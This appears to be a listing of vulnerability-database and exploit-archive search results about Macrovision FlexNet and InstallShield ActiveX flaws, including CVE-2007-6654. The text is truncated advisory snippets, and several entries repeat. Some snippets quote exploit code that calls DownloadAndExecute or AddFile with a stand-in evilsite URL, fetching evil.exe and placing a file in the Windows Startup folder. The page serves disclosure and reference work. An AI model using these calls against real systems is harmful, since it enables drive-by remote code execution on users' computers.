Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit

No description provided by source. !-- Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit Implemented Categories: Category: Safe for Scripting Written by e.b. Tested on Windows XP SP2fully patched English, IE6, isusweb.dll version 6.1.100.61372 -- html head titleMacrovision FlexNet...

flexnet-execute.txt

Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit function Check obj.DownloadAndExecute"Bla","11111111-1111-1111-1111-111111111111",0,"http://www.evilsite.com/evil.exe","evil.exe"; Unable to create object...

Macrovision FLEXnet Connect ActiveX控件任意文件下载漏洞

BUGTRAQ ID: 27279 Macrovision FLEXnet Connect是一种应用软件的厂商为用户提供产品相关的更新及信息发布的工具。 FLEXnet Connect的ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞下载任意文件到用户系统。 FLEXnet Connect所使用的DownloadManager控件： ISDM.exe version 6.1.100.61372 MVSNClientDownloadManager61Lib.DownloadManager FCED4482-7CCB-4E6F-86C9-DCB22B52843C...

Macrovision FlexNet DownloadManager Insecure Methods Exploit

No description provided by source. !-- Macrovision FlexNet DownloadManager Insecure Methods Exploit Implemented Categories: Category: Safe for Scripting Written by e.b. Tested on Windows XP SP2fully patched English, IE6, ISDM.exe version 6.1.100.61372 -- html head titleMacrovision FlexNet...

Macrovision FlexNet - isusweb.dll DownloadAndExecute Method

Macrovision FlexNet - isusweb.dll DownloadAndExecute Method Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit function Check obj.DownloadAndExecute"Bla","11111111-1111-1111-1111-111111111111",0,"http://www.evilsite.com/evil.exe","evil.exe"; Unable to create object milw0rm.com...

Macrovision FlexNet Connect ActiveX code execution

Insecure methods are available through ISDM.exe and isusweb.dll...

[Full-disclosure] Macrovision FlexNet Connect DownloadManager Insecure Methods

Who: Macrovision What: Macrovision FlexNext Connect is a software package that allows ISV's to update their software products. It is generally used in conjunction with the InstallShield software deploymnet framework. FlexNet uses a number of ActiveX controls, some of which are marked safe for...

Macrovision FlexNet - 'isusweb.dll' DownloadAndExecute Method

Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit function Check obj.DownloadAndExecute"Bla","11111111-1111-1111-1111-111111111111",0,"http://www.evilsite.com/evil.exe","evil.exe"; Unable to create object milw0rm.com 2008-01-15...

Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit

Exploit for unknown platform in category remote exploits ================================================================= Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit ================================================================= Macrovision FlexNet isusweb.dll...

Macrovision FlexNet DownloadManager - Insecure Methods

Macrovision FlexNet DownloadManager Insecure Methods Exploit function Check var mJob = obj.CreateJob"SomeJob",0,"11111111-1111-1111-1111-111111111111"; mJob.AddFile"http://www.evilsite/evil.exe","C:\Documents and Settings\All Users\Start Menu\Programs\Startup\harmless.exe"; mJob.SetPriority0;...

Macrovision FlexNet DownloadManager - Insecure Methods

Macrovision FlexNet DownloadManager - Insecure Methods Macrovision FlexNet DownloadManager Insecure Methods Exploit function Check var mJob = obj.CreateJob"SomeJob",0,"11111111-1111-1111-1111-111111111111"; mJob.AddFile"http://www.evilsite/evil.exe","C:\Documents and Settings\All Users\Start...

Macrovision FlexNet DownloadManager Insecure Methods Exploit

Exploit for unknown platform in category remote exploits ============================================================ Macrovision FlexNet DownloadManager Insecure Methods Exploit ============================================================ Macrovision FlexNet DownloadManager Insecure Methods...

flexnet-overwrite.txt

Who: Macrovision What: Macrovision FlexNext Connect is a software package that allows ISV's to update their software products. It is generally used in conjunction with the InstallShield software deploymnet framework. FlexNet uses a number of ActiveX controls, some of which are marked safe for...

Macrovision Installshield isusweb.dll SEH Overwrite Exploit

No description provided by source. !-- written by e.b. Macrovision Installshield isusweb.dll SEH Overwrite Exploit Tested on Windows XP SP2fully patched English, IE6, isusweb.dll version 5.1.100.47363 Thanks to h.d.m. and the Metasploit crew -- html head...

Buffer overflow

Buffer overflow in a certain ActiveX control in Macrovision InstallShield Update Service Web Agent 5.1.100.47363 allows remote attackers to execute arbitrary code via a long string in the ProductCode argument second argument to the DownloadAndExecute method, a different vulnerability than...

CVE-2007-6654

CVE-2007-6654 is a buffer overflow in Macrovision InstallShield Update Service Web Agent 5.1.100.47363, affecting its ActiveX control. A remote attacker can execute arbitrary code by passing a long ProductCode string as the second argument to the DownloadAndExecute method. This entry is distinct ...

MacroVision InstallShield Update Service DownloadAndExecute buffer overflow

Added: 01/04/2008 CVE: CVE-2007-6654 BID: 27013 OSVDB: 39980 Background MacroVision InstallShield is software for creating installers or software packages. Problem A buffer overflow in the DownloadAndExecute function in the Update Service ActiveX control allows command execution when a user loads...

MacroVision InstallShield Update Service DownloadAndExecute buffer overflow

Added: 01/04/2008 CVE: CVE-2007-6654 BID: 27013 OSVDB: 39980 Background MacroVision InstallShield is software for creating installers or software packages. Problem A buffer overflow in the DownloadAndExecute function in the Update Service ActiveX control allows command execution when a user loads...

MacroVision InstallShield Update Service DownloadAndExecute buffer overflow

Added: 01/04/2008 CVE: CVE-2007-6654 BID: 27013 OSVDB: 39980 Background MacroVision InstallShield is software for creating installers or software packages. Problem A buffer overflow in the DownloadAndExecute function in the Update Service ActiveX control allows command execution when a user loads...

MacroVision InstallShield Update Service DownloadAndExecute buffer overflow

Added: 01/04/2008 CVE: CVE-2007-6654 BID: 27013 OSVDB: 39980 Background MacroVision InstallShield is software for creating installers or software packages. Problem A buffer overflow in the DownloadAndExecute function in the Update Service ActiveX control allows command execution when a user loads...